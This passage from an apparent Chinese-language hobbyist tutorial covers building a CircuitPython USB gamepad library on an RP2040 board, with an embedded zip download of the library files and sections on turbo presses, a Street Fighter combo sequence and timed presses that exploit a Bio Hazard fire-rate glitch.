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"
download="circuitpython-gamepad.zip">circuitpython-gamepad.zip</a>
<a name="編寫CircuitPython遊戲控制器函式庫基本測試"></a><h6 class="mra-h6">基本測試</h6>
<div><a href="https://photos.google.com/share/AF1QipNAPMrBBOpSd9Cv3OC6wAVoSWXePJBibjIg52Pixc-OfTdTe98Lp5OVSJwkE7UrUA/photo/AF1QipMeGQgR-d7_0ukHnJTuK5xZ9rBGKFH9wiPbDq6H?key=dmk5NWZMUF9fLXJTQXFjRC1PR3l1SFBPczU0Tk1R"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/pw/ABLVV86VZbmoRP9LNLJCpKQc0PBLLvfCtPgscddiNybDm5E2tJJFZOn5VjAxFa1CsuzocQuQlf1m-vunVdHxP6uvTJUg-kP1nEBOWv2LM_ta8ebBZQ6SRb7A97aDgYZcNo-1yYFdB33PU_WtumI5juDN97q5uDH_R3xsL_G3JvclBwWj74FIMfVblTEAtu3e6f7zCkFfjNoDF92tTADEScs_Dc5WDnKa9q1XL5ZsjGP2fjAwZ8t7wO2NdEm9R6UszbLOmtwDgoy79fMnRjav-hikEA8nT3reBbG6N9x1WxeV7pxP87QQ15gRhHkdAP9cTzPIhltTXWaKUfRWbe0Nyyh-Yt9Iw0x_LvD1GD3zz8v5s_n9Jia53hpdJHNuaC5mkbz2RX1Fyk_dYEHP3pOoUj0pthS-fqgXotdk_uSb5RYr40DRrltUQShEaEam4aCSm2C-QNIfvViHGfyseWQNxHC1O0EZM2hqwEqNAJFCugOkd-C8SEfiZ58eCVIdFG7iWqogOjf_o4k9u_Kev8aPHWjpn42kN8xtjFQL7RHiX_l17AXbAhbzn0pIKTEUbZl3ZBrKammkNcAWeeqJWJsrhm-l6HvwEdRUjFHp9EIWYGh6t2rbpvrJstbIWsYeZ3u6o4n5i8DLTChEm4rQyGHwYDXP1gq_jPt52-IOIncHFwDRum2sF31Nq33bMzes4F0PeG-KBCdJLf82h0Dfe0_ZenEXRyXXsPN0jB4yPaWxz3RSCk8Y40W1I0WZyZv9kNKjqTwWT1SiB2Wt7hFffmlDXZPpcdRQ-ovvmmMHdng1U7RMWY223N0Xl8Ta6NaJF4L26JtXjJz5kFp5oR1P7pxAkkpuKLOkItp6skvBLEcGWP1ar6kzJ4bnO4xZhNz7sIurfvuPAxOvo4qbsBtbmkmwFCKxKEUI-s8gjTw_zcmBTDqxGVsU0F5zKLecy7wZGnQYCORCC8W_pw8RNSlDsbJiY1ch=w600"/></a></div>
<p>RP2040 能夠模擬成傳統遊戲控制器</p>
<a name="編寫CircuitPython遊戲控制器函式庫高速連按"></a><h6 class="mra-h6">高速連按</h6>
<div><a href="https://photos.google.com/share/AF1QipNAPMrBBOpSd9Cv3OC6wAVoSWXePJBibjIg52Pixc-OfTdTe98Lp5OVSJwkE7UrUA/photo/AF1QipP1DmzWisq2Ef33jNe20CT90pFC0l4_OpUAlFX7?key=dmk5NWZMUF9fLXJTQXFjRC1PR3l1SFBPczU0Tk1R"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/pw/ABLVV84jARVOgXw3Va2ZigF2kJpujurguAEBW_tuw1qkdsF0qjrR71WoxOjOim6NlPCGuS-4hP3x_Q_4pzYlzS_aQi8JOmO9uHT-K-VJBf3FZZbLzYSqM5tnBrJi9GXSTwQ44A-2ObsuauqhPex6It6Nf9VlApnXXWS-o5-cMAtJvUfbmpuGA_s4XwRaoO2ub5rnTpOxEhJX988Lyypk-5rpRY3yHxiyXF5fUn195sB9fPBOGGUMo08S1ULVdCtvzJEkDdbV_pm0Q_9lD9q1UzlAOh6tn7oKeCRJ4yF7-XzcAgXYxe678NIGwUre_sH62nu7tSMSzjmTYFIQkIneJkfW2sP5JRjSvLXe_OOlzAbSVHWZHL_Valu68WpjK9bIrC5Z6rKM3XCjfZRx20P7SoF-MTGo5hKZAmJwgzxCwlx3MFQvyOAcnRx85NUVnwDy7OK8JxkOIjGlKLjHw93ALKmHINSbvfQSMX8E2nfJz15TnVcGT42Shnb73yruV9LTLXVPmo5NLe8soQic-ipHbTbv_k0nnBNA0t-VRKIzji5Gc7_oHnKMAOqCUVDEGITrGnldfA7FeH2rq5UY3pl79upIhhzbaAYbWt3FQdN9dsa68TduqSeXtgwxKwJF8M01dWXvHhBFUVvMEXLOjgmTuJ8KDFDo9WSzFfKnZUQ4zaAVEkX32Rm9VBVNmU3K0xJnnqYKy0dbREbYq6FhOOrB-Uuz2l9k8_DVB469owFNxg62pYuf6nwlCW1axQLj2W4KTCfwLq5iH7iY785_cR-e6A2DcYhvm3vBtf6lo6ZbpGrEindMRX9Eb37pJQ0Iag3WR6RstdzAtvuZzXmFTTd2vNrqJiXFCSCN47nyLVXJMyPq6kUBg-vCJbIDfhWAPnI0UDXy5ZZCdpPI3s7uEgLuTfRt6lA7rdIHGL2SuWRriCceN2T7QzaDEGg7O4npIKdQMkJIiJbKOiLKNC_NIlVRduyA=w600"/></a></div>
<p>將程式碼修改,將按鈕按下的操作更改為高速連按</p>
<p>但需要注意連按的速度,即是每次模擬按動按鈕的間隔,如果太快反而會失效<br/>
例如測試的遊戲平台是 Super Famicom (SFC) ,大部分遊戲內容的更新速度為 <span class="mra-highlighter">60 FPS</span> (少數 3D 遊戲為 50 FPS)<br/>
即是 <span class="mra-highlighter">每幀16毫秒</span> ,因此間隔不應少於 16毫秒</p>
<a name="編寫CircuitPython遊戲控制器函式庫組合招式"></a><h6 class="mra-h6">組合招式</h6>
<div><a href="https://photos.google.com/share/AF1QipNAPMrBBOpSd9Cv3OC6wAVoSWXePJBibjIg52Pixc-OfTdTe98Lp5OVSJwkE7UrUA/photo/AF1QipPdAxKKM0fqTy5Zn0DILidjps6L5EUF2H8Gw-Xs?key=dmk5NWZMUF9fLXJTQXFjRC1PR3l1SFBPczU0Tk1R"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/pw/ABLVV86MA5nK5T3LBEKTi1x4XYZxMX1-Thhwm0S3ACKTH_zbUT2dOaOshT9COfiEjfrTaJ6WSkp66Q5Pey5y-B1jtZMo_8vkyyigZZR61fkutQ8mPnXXH_mBASunSLnAUFV-YgEs_-MOThO20CEA8-p2s_1iq6eO0glhHe2ucRiCAA-LdCEf3z3WjibEKU_Blsk88jhyAHWazYEYS9vcYaYqFs_Ub6HRRqtTwLl5y4OIdgpFe0BY6sX9ExdrEic9TI4R2xRpFliHHPOAPzW-OEf510Ru6NmmsJfTEayesSYHLbj6GkBQZc1xtSGxP746Zq4-S6koCw9NuB0aK6KKbCw85jt572HcrlEbsMgOA_16lrj_mrDwmtwRYB4xcfV0IMSj-otDX_5xUc7DVgsJJSip07plI-420r1g7cjCrFr2aHxO7KcuiZHTSNWjO7azMT_gP0ncJ7cAQ7qXuhLAvfYnAG1masaA6yzPYBk1Nuc1-dAIwFJcwctEGKS1ihZtVGnqn3vJbPcwKgpsj5t7R_GYG1skm1Adk_nTs4S7WkB-6yZZWzajq7XLPBLNnIaG-qTp0ELjzVfqrFxSijwGDNVkN0GJXkv_8NmfkfQKs0kEtNyhuacat9ox8-Fov6gDHb5KQIyD2SQ-6-bQ2fRwmm1I8kyvbANSnaeM46B4B8UB2CHF-ESyW_cuSl-TcA-Z6BcvwUtuMpm-hDXJ2r-lhAWYkKUJxHuETxEqmuxW9EyTcoVJVEV2gI5_JJbgSgAcWNilQPw6r-DCVuuFdZjBqM2jlPR6Z9OXjKHkuNYAN4W0v4F8IYKEGBVe86P2oQvi1fVlIuQOzsOFTgNE3b7Wu9yGuZEWukpbtnc_npKb-qEv-xoE2ThKp2ANkXxcBmPtqu92aXdISRuL87jWPH4tbw3ToblIu_vAhwA9vMTuUQjp0DoSwYqrUgzWGsljEAo2686MJRQWfJACyTh4zxswTG3-=w600"/></a></div>
<p>亦可以修改成組合招式功能</p>
<p>編寫組合招式需要了解觸發原理<br/>
例如 Street Fighter 的波動拳是 <svg version="1.1" width="30px" height="10px" viewBox="0,0 30,10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="mra-temp-arrow-down">
<path d="m 5,1 v 8" fill="none" stroke="#000000" stroke-width="1" aria-hidden="true"/>
<path d="m 1,5 4,4 4,-4" fill="none" stroke="#000000" stroke-width="1" aria-hidden="true"/>
</g>
</defs>
<use aria-label="下" xlink:href="#mra-temp-arrow-down"/>
<use aria-label="右下" xlink:href="#mra-temp-arrow-down" transform="translate(10,0) rotate(-45 5,5)"/>
<use aria-label="右" xlink:href="#mra-temp-arrow-down" transform="translate(20,0) rotate(-90 5,5)"/>
</svg> + <span aria-label="拳">P</span> (假設面向右方)<br/>
但方向按鈕沒有右下,而且方向操作必須連貫;因此不能獨立按:下、右、拳;亦不是同時按:下、右、拳 便完成<br/>
而是需要有步驟地按:</p>
<div>
<ol>
<li>按著下</li>
<li>延遲1幀</li>
<li>按著右</li>
<li>延遲1幀</li>
<li>釋放下</li>
<li>延遲1幀</li>
<li>釋放右</li>
<li>延遲1幀</li>
<li>按著拳</li>
<li>延遲1幀</li>
<li>釋放拳</li>
</ol>
</div>
<p>將所有按動的操作分拆總共有 11個步驟</p>
<a name="編寫CircuitPython遊戲控制器函式庫節奏連按"></a><h6 class="mra-h6">節奏連按</h6>
<p>在下改裝 USB遊戲控制器 其中一個目的是能夠做到有節奏(Pattern)的連按功能<br/>
高速連按功能的遊戲控制器一早已經存在,但要有特定節奏的高速連按功能,在下則未發現</p>
<div><a href="https://photos.google.com/share/AF1QipNAPMrBBOpSd9Cv3OC6wAVoSWXePJBibjIg52Pixc-OfTdTe98Lp5OVSJwkE7UrUA/photo/AF1QipNxjLoRfoeebbfLsihJ2vHhlDEoAWTCiUSDE-84?key=dmk5NWZMUF9fLXJTQXFjRC1PR3l1SFBPczU0Tk1R"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/pw/ABLVV84tDFjnQmXjhG5dckZ7F0m-pINIoDiPmMvVcvo21jKSvfprOIsOJScrIL5Urenl_h3xLYQre1CiyHUHgWLh3UcfF0UGrjVL_NTEBUXzUzrFOmyYM_VfHic5ajDdUVIZZ4wrAWs-oC81bzVqncMssFdN84Z-zmQrmxZ3UhfsgSElTDYq7i-tOAxaDgPCpqZNuH4troR6IoHkXBKndsY7bU9HsCLFVKoNXsBlozpHiHyVdoL4PrZZG3H3HBTuvcd1w0rElB8zuiW7ln6f4Def5G-pN_eRAS1Qw1CNJgtxIAKLae0Sga3_S17hTHShw52KPMzhYVOUXy8p9w9CZlHndX5viFud9Qlzy-Ai9JwkK6rZpwivvD6Uyf6RMtLBC176GD7_UMpglR8Dds5SSbm-oAOx2yU1qFZF16H0sEP_Jt1NkOyjmF8Gu22RIdL90gBPnM3cwb12mT_04thLj9nUgXZxhX2EDflnJyRZMXwUCOqCYhPx0Zk3iT2pljECz5W1PZE4No6ddabtBpayzRSO3VTGQ3UU7xYIO8WAbmmSh1CIVP2Fn40ZcSURDf8tGdOV8U3KbChfz9hFYDQLI5qi3I1KjHaAfDSc9jhwv97DqGlhNo6y1mwtU71rAmhzhpAHU7d5ssS46ro-Xun-FePQHuXt15BAiCX7gE7rCbC9dYJtlDTUC7FJwQnaHo2x50mnwvTrND1sW1nTHQrTZ7h6nrpHZsrYQ0KofLzt2AD6kNTDC9L-EXXcy6jQSf3gytGefUaXwmg5Ue4QySsd9udj9QPZ0-JW-_GASmjoIGwoIp2IW8GVBBAimqU2yGrW5JZ43LXVcWA1-r5HtcGY_GNuuFvre0gk9JJVAeXoOD_CEAGAZwZOyU-OtKp3ttkkowNsd-3jukENQmaChoOizGkbnfLjlqn46ttq0D7FPC33H4_CREktigFFL6yaiVfY3Rp9z1uAVLs9Rbc0Q15yhtC7=w600"/></a></div>
<div><a href="https://photos.google.com/share/AF1QipNAPMrBBOpSd9Cv3OC6wAVoSWXePJBibjIg52Pixc-OfTdTe98Lp5OVSJwkE7UrUA/photo/AF1QipM7E8aSGxSeu-NxrWZOESgoaAK-Ksle4LW_AMIV?key=dmk5NWZMUF9fLXJTQXFjRC1PR3l1SFBPczU0Tk1R"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/pw/ABLVV87pPYM6aimfXItvVNFqhb9LUPyqxdlvktUgi3PiW_QmxwBEJQzhfIB4AS5iSwSCxxJwjoiIJYILEcfFx2q_7s9eMxPYEpf8iOlstEgiqB-91TIXAg_GaJOxKYA0Wlb3FfNj7RHu6gcKh7_PwR0-eRXP7023qaAl2Sl-CtuGjhsjmDdmtl6YMYYRGZfmzzH0qM5hQYukSkUEo1kghaWwOSLhXdAmYLGa2mzw6dC-gGLPftepJL0RwFeZCuL5LKe3l5E3neeg9RZOVI4PaoT2UlzBvuN6vDxbOdqXVqENQXSlOWuuNBL7-wtHSow0F2wyERo22cL8SmhKzoLSsgAwAA6klC49v-Bw3Jfar9jOzjmsbKa0wqE7zLidyNn4sy0_lxBVgrceWSb-zSRyY6Z_wtvJVSMcsh6Ugk5gS35AE9GWXjnXv6lv3ao-LLaatYAiRvslKRz4pVDqbQpIcOSEJRtm6pHgK8pYvQRDlrvs-cHRS2gjpPeo5v9YDmhf9QZ2hbEvMFI7eLlgKSkUyU1y7tLzuAGDZ-wlsf8TavdKCowP4KQwlOAH-OHWxjDhFP7aoQ2BIBCnZQzO_RN_6_d22F65EVsgmAM0kUDDqWDOzYhhuKfNIpPavh-sPVkbDPpVX27fd_Q9nYi49393q1piu_XUs7_6yBLD0knJueI63TxiV0IXKZ9uDKuc-_eMJWMK57Odnyk7kycQ9rP2wimb6_v1kcaOtbKfuXhNMML8X5WoeXDhPlfz7yM1MY_VREZLsutMP9NOtCzG9eB_8txR31Zf6lJiG3ZrwIJpQvHxr9lQRSff_01Neao5x9R6V0wJg_mm_63055p9JDvVAroAbwtwnyv-z3onmBrAgVFPRdp4wo5LM_oPn6PxB5O0_O4UQeYg3xFVNmXFSFZsQgkIftmXuSAI-XhWeKcjHlIXk9KdyIfFlZT_R2vEEfW3E5KDoeveDf1mljA_666xmvvV=w600"/></a></div>
<p>在下使用喜歡遊玩的舊版 Bio Hazard 展示效果<br/>
在沒有使用漏洞的情況下的射擊速度為 <span class="mra-highlighter">大約12秒</span> 射擊15發手槍子彈<br/>
以特定節奏按動按鈕,使用漏洞的射擊速度為 <span class="mra-highlighter">大約6秒</span> 射擊15發手槍子彈</p>
<p>這個漏洞不是單靠高速連按而達成,而是需要在 特定時間 釋放再按著按鈕 才能觸發</p>
<p>如而成功觸發漏洞,可以令每次手槍射擊的間隔由 <span class="mra-highlighter">750毫秒</span> 減少至 <span class="mra-highlighter">333毫秒</span></p>
<a name="補充資料"></a><h4 class="mra-h4">補充資料</h4>
<a name="補充資料使用指令載入到起動模式"></a><h5 class="mra-h5">使用指令載入到起動模式</h5>
<p>由於 RP2040開發板 每次載入到 起動模式 都需要 關閉RP2040電源,按著BOOT按鈕,啟動RP2040電源<br/>
如果 開發板 已經安置在 麵包板 或 焊接到 電路板 上,而 BOOT按鈕 在 開發板背面,要按著BOOT按鈕便非常麻煩<br/>
